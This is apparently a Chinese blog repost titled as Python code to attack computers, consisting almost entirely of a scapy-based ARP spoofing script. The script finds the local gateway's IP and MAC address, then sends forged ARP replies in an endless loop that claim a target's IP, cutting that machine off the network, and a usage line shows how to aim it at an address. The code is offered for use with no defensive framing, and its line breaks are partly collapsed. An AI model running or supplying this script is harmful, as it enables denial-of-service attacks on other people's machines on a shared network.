当前位置:   article > 正文

python攻击电脑代码_python写的ARP攻击代码实例

毁掉电脑的python代码怎么写

注:使用这个脚本需要安装scapy

最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

#coding:utf-8

#example :sudo  python arp_dos.py  192.168.1.103

from scapy.all import ARP,sendimport os,re,sys

def get_gateway_ip():    t=os.popen('route -n')    for i in t:        if i.startswith('0.0.0.0'):            r=re.split("\s+",i)            return r[1]

def get_gateway_hw(ip):    t=os.popen('arp -e %s' % ip)    for i in t:        if i.startswith(ip):            r=re.split("\s+",i)            return r[2]def hack(hackip):    ip=get_gateway_ip()    hw=get_gateway_hw(ip)    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)    #os.popen('ifconfig eth0 %s' % hackip )    while 1:        send(arp)

def help():    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")

def main():    if len(sys.argv) != 2:        help()    else:        hack(sys.argv[1])if __name__=="__main__":    main()

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/301011
推荐阅读
相关标签
  

闽ICP备14008679号